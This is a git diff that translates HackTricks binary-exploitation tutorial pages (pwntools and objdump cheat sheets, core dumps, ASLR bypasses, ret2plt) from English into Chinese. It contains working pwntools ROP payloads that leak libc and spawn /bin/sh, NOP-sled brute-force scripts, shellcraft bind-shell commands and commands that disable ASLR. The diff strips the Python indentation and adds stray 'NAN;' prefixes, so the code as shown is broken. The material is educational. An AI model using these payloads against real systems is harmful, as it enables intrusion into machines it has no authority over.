-**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
+**-d** --> **反汇编可执行**部分(查看编译的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...)\
+NAN;**-Mintel** --> **Intel** 语法\
+NAN;**-t** --> **符号**表\
+NAN;**-D** --> **反汇编所有**(静态变量的地址)\
+NAN;**-s -j .dtors** --> dtors 部分\
+NAN;**-s -j .got** --> got 部分\
+-D -s -j .plt --> **plt** 部分 **反编译**\
+NAN;**-TR** --> **重定位**\
+**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 的地址\
+**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
## Core dumps
-1. Run `ulimit -c unlimited` before starting my program
-2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
+1. 在启动我的程序之前运行 `ulimit -c unlimited`
+2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
-## More
+## 更多
-**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\
-**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
-**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
+**ldd executable | grep libc.so.6** --> 地址(如果 ASLR,则每次都会改变)\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很大\
+**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量
-**strace executable** --> Functions called by the executable\
-**rabin2 -i ejecutable -->** Address of all the functions
+**strace executable** --> 可执行文件调用的函数\
+**rabin2 -i ejecutable -->** 所有函数的地址
## **Inmunity debugger**
-
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
-
## IDA
-### Debugging in remote linux
-
-Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
+### 在远程 Linux 中调试
+在 IDA 文件夹中,您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点,将二进制文件 `linux_server` 或 `linux_server64` 移动到 Linux 服务器中,并在包含该二进制文件的文件夹中运行它:
```
./linux_server64 -Ppass
```
-
-Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
+然后,配置调试器:调试器(linux 远程) --> 进程选项...:
.png>)
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
index 6175aeaa2..2263cc1cd 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
@@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
-
```
pip3 install pwntools
```
-
## Pwn asm
-Get **opcodes** from line or file.
-
+从行或文件中获取 **opcodes**。
```
pwn asm "jmp esp"
pwn asm -i
```
+**可以选择:**
-**Can select:**
-
-- output type (raw,hex,string,elf)
-- output file context (16,32,64,linux,windows...)
-- avoid bytes (new lines, null, a list)
-- select encoder debug shellcode using gdb run the output
+- 输出类型(raw, hex, string, elf)
+- 输出文件上下文(16, 32, 64, linux, windows...)
+- 避免字节(换行符、空值、列表)
+- 选择编码器调试 shellcode 使用 gdb 运行输出
## **Pwn checksec**
-Checksec script
-
+Checksec 脚本
```
pwn checksec
```
-
## Pwn constgrep
## Pwn cyclic
-Get a pattern
-
+获取一个模式
```
pwn cyclic 3000
pwn cyclic -l faad
```
+**可以选择:**
-**Can select:**
+- 使用的字母表(默认小写字符)
+- 唯一模式的长度(默认4)
+- 上下文(16,32,64,linux,windows...)
+- 偏移量(-l)
-- The used alphabet (lowercase chars by default)
-- Length of uniq pattern (default 4)
-- context (16,32,64,linux,windows...)
-- Take the offset (-l)
-
-## Pwn debug
-
-Attach GDB to a process
+## Pwn 调试
+将 GDB 附加到一个进程
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
+**可以选择:**
-**Can select:**
-
-- By executable, by name or by pid context (16,32,64,linux,windows...)
-- gdbscript to execute
+- 按可执行文件、名称或 pid 上下文(16,32,64,linux,windows...)
+- 要执行的 gdbscript
- sysrootpath
-## Pwn disablenx
-
-Disable nx of a binary
+## Pwn 禁用 nx
+禁用二进制文件的 nx
```
pwn disablenx
```
-
## Pwn disasm
-Disas hex opcodes
-
+反汇编十六进制操作码
```
pwn disasm ffe4
```
+**可以选择:**
-**Can select:**
-
-- context (16,32,64,linux,windows...)
-- base addres
-- color(default)/no color
+- 上下文 (16,32,64,linux,windows...)
+- 基地址
+- 颜色(默认)/无颜色
## Pwn elfdiff
-Print differences between 2 files
-
+打印两个文件之间的差异
```
pwn elfdiff
```
-
## Pwn hex
-Get hexadecimal representation
-
+获取十六进制表示
```bash
pwn hex hola #Get hex of "hola" ascii
```
-
## Pwn phd
-Get hexdump
-
+获取 hexdump
```
pwn phd
```
+**可以选择:**
-**Can select:**
-
-- Number of bytes to show
-- Number of bytes per line highlight byte
-- Skip bytes at beginning
+- 显示的字节数
+- 每行高亮字节的字节数
+- 跳过开头的字节
## Pwn pwnstrip
@@ -122,8 +102,7 @@ pwn phd
## Pwn shellcraft
-Get shellcodes
-
+获取 shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
+**可以选择:**
-**Can select:**
+- shellcode 和 shellcode 的参数
+- 输出文件
+- 输出格式
+- 调试(将 dbg 附加到 shellcode)
+- 之前(在代码之前调试陷阱)
+- 之后
+- 避免使用操作码(默认:不为 null 和新行)
+- 运行 shellcode
+- 有色/无色
+- 列出系统调用
+- 列出可能的 shellcodes
+- 生成 ELF 作为共享库
-- shellcode and arguments for the shellcode
-- Out file
-- output format
-- debug (attach dbg to shellcode)
-- before (debug trap before code)
-- after
-- avoid using opcodes (default: not null and new line)
-- Run the shellcode
-- Color/no color
-- list syscalls
-- list possible shellcodes
-- Generate ELF as a shared library
-
-## Pwn template
-
-Get a python template
+## Pwn 模板
+获取一个 python 模板
```
pwn template
```
-
-**Can select:** host, port, user, pass, path and quiet
+**可以选择:** 主机,端口,用户,密码,路径和静默
## Pwn unhex
-From hex to string
-
+从十六进制到字符串
```
pwn unhex 686f6c61
```
+## Pwn 更新
-## Pwn update
-
-To update pwntools
-
+要更新 pwntools
```
pwn update
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md
index 47681ba71..b28330b89 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md
@@ -1,35 +1,29 @@
-# Common Binary Exploitation Protections & Bypasses
+# 常见的二进制利用保护与绕过
{{#include ../../banners/hacktricks-training.md}}
-## Enable Core files
+## 启用核心文件
-**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
+**核心文件**是操作系统在进程崩溃时生成的一种文件。这些文件捕获崩溃进程在终止时的内存映像,包括进程的内存、寄存器和程序计数器状态等细节。这个快照对于调试和理解崩溃原因非常有价值。
-### **Enabling Core Dump Generation**
+### **启用核心转储生成**
-By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
-
-- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
+默认情况下,许多系统将核心文件的大小限制为0(即不生成核心文件),以节省磁盘空间。要启用核心文件的生成,可以使用**`ulimit`**命令(在bash或类似的shell中)或配置系统范围的设置。
+- **使用ulimit**:命令`ulimit -c unlimited`允许当前shell会话创建无限大小的核心文件。这对于调试会话非常有用,但在重启或新会话中不会持久化。
```bash
ulimit -c unlimited
```
-
-- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
-
+- **持久配置**: 对于更永久的解决方案,您可以编辑 `/etc/security/limits.conf` 文件,添加一行 `* soft core unlimited`,这允许所有用户生成无限大小的核心文件,而无需在他们的会话中手动设置 ulimit。
```markdown
- soft core unlimited
```
+### **使用 GDB 分析核心文件**
-### **Analyzing Core Files with GDB**
-
-To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
-
+要分析核心文件,您可以使用调试工具,如 GDB(GNU 调试器)。假设您有一个生成核心转储的可执行文件,并且核心文件名为 `core_file`,您可以通过以下命令开始分析:
```bash
gdb /path/to/executable /path/to/core_file
```
-
-This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
+此命令将可执行文件和核心文件加载到 GDB 中,使您能够检查程序崩溃时的状态。您可以使用 GDB 命令来探索堆栈、检查变量并了解崩溃的原因。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
index e33c7a3be..9d79e94dd 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
@@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
+**地址空间布局随机化 (ASLR)** 是一种在操作系统中使用的安全技术,用于 **随机化系统和应用程序进程使用的内存地址**。通过这样做,它使攻击者预测特定进程和数据(如堆栈、堆和库)的位置变得更加困难,从而减轻某些类型的攻击,特别是缓冲区溢出。
-### **Checking ASLR Status**
+### **检查 ASLR 状态**
-To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
+要 **检查** Linux 系统上的 ASLR 状态,可以从 **`/proc/sys/kernel/randomize_va_space`** 文件中读取值。存储在此文件中的值决定了应用的 ASLR 类型:
-- **0**: No randomization. Everything is static.
-- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
-- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
-
-You can check the ASLR status with the following command:
+- **0**:没有随机化。一切都是静态的。
+- **1**:保守随机化。共享库、堆栈、mmap()、VDSO 页面被随机化。
+- **2**:完全随机化。除了保守随机化随机化的元素外,通过 `brk()` 管理的内存也被随机化。
+您可以使用以下命令检查 ASLR 状态:
```bash
cat /proc/sys/kernel/randomize_va_space
```
+### **禁用 ASLR**
-### **Disabling ASLR**
-
-To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
-
+要 **禁用** ASLR,您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。在测试或调试场景之外,通常不建议禁用 ASLR。以下是禁用它的方法:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-
-You can also disable ASLR for an execution with:
-
+您还可以通过以下方式禁用 ASLR:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
+### **启用 ASLR**
-### **Enabling ASLR**
-
-To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
-
+要**启用** ASLR,您可以将值 **2** 写入 `/proc/sys/kernel/randomize_va_space` 文件。这通常需要 root 权限。可以使用以下命令启用完全随机化:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
+### **重启后的持久性**
-### **Persistence Across Reboots**
-
-Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
-
+使用 `echo` 命令所做的更改是临时的,并将在重启时重置。要使更改持久化,您需要编辑 `/etc/sysctl.conf` 文件并添加或修改以下行:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
-
-After editing `/etc/sysctl.conf`, apply the changes with:
-
+在编辑 `/etc/sysctl.conf` 后,使用以下命令应用更改:
```bash
sudo sysctl -p
```
+这将确保您的 ASLR 设置在重启后保持不变。
-This will ensure that your ASLR settings remain across reboots.
+## **绕过**
-## **Bypasses**
+### 32位暴力破解
-### 32bit brute-forcing
+PaX 将进程地址空间分为 **3 组**:
-PaX divides the process address space into **3 groups**:
+- **代码和数据**(已初始化和未初始化):`.text`、`.data` 和 `.bss` —> `delta_exec` 变量中的 **16 位** 熵。该变量在每个进程中随机初始化,并添加到初始地址。
+- **通过 `mmap()` 分配的内存** 和 **共享库** —> **16 位**,称为 `delta_mmap`。
+- **栈** —> **24 位**,称为 `delta_stack`。然而,它实际上使用 **11 位**(从第 10 字节到第 20 字节,包括),对齐到 **16 字节** —> 这导致 **524,288 个可能的真实栈地址**。
-- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
-- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
-- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
+前面的数据适用于 32 位系统,减少的最终熵使得通过一次又一次重试执行来绕过 ASLR 成为可能,直到利用成功完成。
-The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
-
-#### Brute-force ideas:
-
-- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
-- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
+#### 暴力破解思路:
+- 如果您有足够大的溢出以容纳 **大 NOP sled 在 shellcode 之前**,您可以在栈中暴力破解地址,直到流程 **跳过 NOP sled 的某部分**。
+- 如果溢出不大,并且利用可以在本地运行,另一种选择是 **在环境变量中添加 NOP sled 和 shellcode**。
+- 如果利用是本地的,您可以尝试暴力破解 libc 的基地址(对 32 位系统有用):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
-
-- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
+- 如果攻击远程服务器,您可以尝试**暴力破解`libc`函数`usleep`的地址**,传递参数10(例如)。如果在某个时刻**服务器响应多了10秒**,您就找到了这个函数的地址。
> [!TIP]
-> In 64bit systems the entropy is much higher and this shouldn't possible.
+> 在64位系统中,熵要高得多,这种情况不应该发生。
-### 64 bits stack brute-forcing
-
-It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
-The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
+### 64位栈暴力破解
+可以用环境变量占用栈的大部分,然后尝试在本地数百/数千次滥用该二进制文件进行利用。\
+以下代码展示了如何**仅选择栈中的一个地址**,并且每**几百次执行**后,该地址将包含**NOP指令**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include
int main() {
- unsigned long long address = 0xffffff1e7e38;
- unsigned int* ptr = (unsigned int*)address;
- unsigned int value = *ptr;
- printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
- return 0;
+unsigned long long address = 0xffffff1e7e38;
+unsigned int* ptr = (unsigned int*)address;
+unsigned int value = *ptr;
+printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
+return 0;
}
```
@@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
- 'a': shellcode_env_var,
- 'b': shellcode_env_var,
- 'c': shellcode_env_var,
- 'd': shellcode_env_var,
- 'e': shellcode_env_var,
- 'f': shellcode_env_var,
- 'g': shellcode_env_var,
- 'h': shellcode_env_var,
- 'i': shellcode_env_var,
- 'j': shellcode_env_var,
- 'k': shellcode_env_var,
- 'l': shellcode_env_var,
- 'm': shellcode_env_var,
- 'n': shellcode_env_var,
- 'o': shellcode_env_var,
- 'p': shellcode_env_var,
+'a': shellcode_env_var,
+'b': shellcode_env_var,
+'c': shellcode_env_var,
+'d': shellcode_env_var,
+'e': shellcode_env_var,
+'f': shellcode_env_var,
+'g': shellcode_env_var,
+'h': shellcode_env_var,
+'i': shellcode_env_var,
+'j': shellcode_env_var,
+'k': shellcode_env_var,
+'l': shellcode_env_var,
+'m': shellcode_env_var,
+'n': shellcode_env_var,
+'o': shellcode_env_var,
+'p': shellcode_env_var,
}
cont = 0
while True:
- cont += 1
+cont += 1
- if cont % 10000 == 0:
- break
+if cont % 10000 == 0:
+break
- print(cont, end="\r")
- # Define the path to your binary
- binary_path = './aslr-testing'
+print(cont, end="\r")
+# Define the path to your binary
+binary_path = './aslr-testing'
- try:
- process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
- output = process.communicate()[0]
- if "0xd5" in str(output):
- print(str(cont) + " -> " + output)
- except Exception as e:
- print(e)
- print(traceback.format_exc())
- pass
+try:
+process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
+output = process.communicate()[0]
+if "0xd5" in str(output):
+print(str(cont) + " -> " + output)
+except Exception as e:
+print(e)
+print(traceback.format_exc())
+pass
```
-
-### Local Information (`/proc/[pid]/stat`)
+### 本地信息 (`/proc/[pid]/stat`)
-The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
+进程的文件 **`/proc/[pid]/stat`** 始终对所有人可读,并且 **包含有趣的** 信息,例如:
-- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
-- **startstack**: The address of the start of the **stack**
-- **start_data** & **end_data**: Addresses above and below where the **BSS** is
-- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
-- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
-- **env_start** &**env_end**: Addresses above and below where **env variables** are.
+- **startcode** & **endcode**: 二进制文件的 **TEXT** 上下的地址
+- **startstack**: **stack** 开始的地址
+- **start_data** & **end_data**: **BSS** 上下的地址
+- **kstkesp** & **kstkeip**: 当前的 **ESP** 和 **EIP** 地址
+- **arg_start** & **arg_end**: **cli arguments** 上下的地址
+- **env_start** &**env_end**: **env variables** 上下的地址
-Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
+因此,如果攻击者与被利用的二进制文件在同一台计算机上,并且该二进制文件不期望来自原始参数的溢出,而是来自读取此文件后可以构造的不同 **输入**。攻击者可以 **从此文件中获取一些地址并从中构造偏移量以进行利用**。
> [!TIP]
-> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
+> 有关此文件的更多信息,请查看 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html),搜索 `/proc/pid/stat`
-### Having a leak
+### 拥有一个泄漏
-- **The challenge is giving a leak**
-
-If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
+- **挑战在于提供一个泄漏**
+如果你得到了一个泄漏(简单的 CTF 挑战),你可以从中计算偏移量(假设例如你知道你正在利用的系统中使用的确切 libc 版本)。这个示例利用提取自 [**这里的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)(查看该页面以获取更多详细信息):
```python
from pwn import *
@@ -195,29 +178,27 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
- 'A' * 32,
- libc.sym['system'],
- 0x0, # return address
- next(libc.search(b'/bin/sh'))
+'A' * 32,
+libc.sym['system'],
+0x0, # return address
+next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
-
- **ret2plt**
-Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
+通过利用缓冲区溢出,可以利用 **ret2plt** 来提取 libc 中一个函数的地址。检查:
{{#ref}}
ret2plt.md
{{#endref}}
-- **Format Strings Arbitrary Read**
-
-Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
+- **格式字符串任意读取**
+就像在 ret2plt 中一样,如果通过格式字符串漏洞有任意读取的能力,可以从 GOT 中提取 **libc 函数** 的地址。以下 [**示例来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
-
-You can find more info about Format Strings arbitrary read in:
+您可以在以下位置找到有关格式字符串任意读取的更多信息:
{{#ref}}
../../format-strings/
@@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
-Try to bypass ASLR abusing addresses inside the stack:
+尝试通过利用栈中的地址来绕过 ASLR:
{{#ref}}
ret2ret.md
@@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
-The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
-However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
+**`vsyscall`** 机制通过允许某些系统调用在用户空间中执行来提高性能,尽管它们本质上是内核的一部分。**vsyscalls** 的关键优势在于它们的 **固定地址**,这些地址不受 **ASLR**(地址空间布局随机化)的影响。这种固定特性意味着攻击者不需要信息泄漏漏洞来确定它们的地址并在利用中使用它们。\
+然而,这里不会找到超级有趣的小工具(尽管例如可以获得 `ret;` 等效物)
-(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
-
-For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
+(以下示例和代码来自 [**此写作**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
+例如,攻击者可能在利用中使用地址 `0xffffffffff600800`。虽然尝试直接跳转到 `ret` 指令可能会导致不稳定或在执行几个小工具后崩溃,但跳转到 **vsyscall** 部分提供的 `syscall` 开始可以证明是成功的。通过仔细放置一个 **ROP** 小工具,将执行引导到这个 **vsyscall** 地址,攻击者可以在不需要绕过 **ASLR** 的情况下实现代码执行。
```
ef➤ vmmap
Start End Offset Perm Path
@@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
- 0xffffffffff600800: mov rax,0x135
- 0xffffffffff600807: syscall
- 0xffffffffff600809: ret
- 0xffffffffff60080a: int3
+0xffffffffff600800: mov rax,0x135
+0xffffffffff600807: syscall
+0xffffffffff600809: ret
+0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
- 0xffffffffff600800: mov rax,0x135
- 0xffffffffff600807: syscall
- 0xffffffffff600809: ret
- 0xffffffffff60080a: int3
+0xffffffffff600800: mov rax,0x135
+0xffffffffff600807: syscall
+0xffffffffff600809: ret
+0xffffffffff60080a: int3
```
-
### vDSO
-Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
+因此,请注意,如果内核使用 CONFIG_COMPAT_VDSO 编译,则可能通过 **利用 vdso 绕过 ASLR**,因为 vdso 地址不会被随机化。有关更多信息,请查看:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
index c0e55129b..29c539fed 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
@@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
-
-This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
+该技术的目标是**泄露来自PLT的函数地址**以绕过ASLR。这是因为,如果例如,你泄露了来自libc的函数`puts`的地址,你就可以**计算`libc`的基址**并计算偏移量以访问其他函数,如**`system`**。
+这可以通过`pwntools`有效载荷完成,例如([**来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
- b'A' * padding,
- elf.plt['puts'],
- elf.symbols['main'],
- elf.got['puts']
+b'A' * padding,
+elf.plt['puts'],
+elf.symbols['main'],
+elf.got['puts']
)
# 64-bit
payload = flat(
- b'A' * padding,
- POP_RDI,
- elf.got['puts']
- elf.plt['puts'],
- elf.symbols['main']
+b'A' * padding,
+POP_RDI,
+elf.got['puts']
+elf.plt['puts'],
+elf.symbols['main']
)
```
+注意如何 **`puts`**(使用来自 PLT 的地址)被调用,地址位于 GOT(全局偏移表)中的 `puts`。这是因为在 `puts` 打印 `puts` 的 GOT 条目时,这个 **条目将包含 `puts` 在内存中的确切地址**。
-Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
-
-Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
+还要注意如何在利用中使用 `main` 的地址,以便当 `puts` 结束其执行时,**二进制文件会再次调用 `main` 而不是退出**(因此泄露的地址将继续有效)。
> [!CAUTION]
-> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
-
-You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
+> 注意,为了使这项工作,**二进制文件不能使用 PIE 编译**,或者您必须 **找到一个泄露以绕过 PIE**,以便知道 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。
+您可以在 [**此处找到此绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该 **示例** 的最终利用:
```python
from pwn import *
@@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
- 'A' * 32,
- elf.plt['puts'],
- elf.sym['main'],
- elf.got['puts']
+'A' * 32,
+elf.plt['puts'],
+elf.sym['main'],
+elf.got['puts']
)
p.sendline(payload)
@@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
- 'A' * 32,
- libc.sym['system'],
- libc.sym['exit'],
- next(libc.search(b'/bin/sh\x00'))
+'A' * 32,
+libc.sym['system'],
+libc.sym['exit'],
+next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
-
-## Other examples & References
+## 其他示例与参考
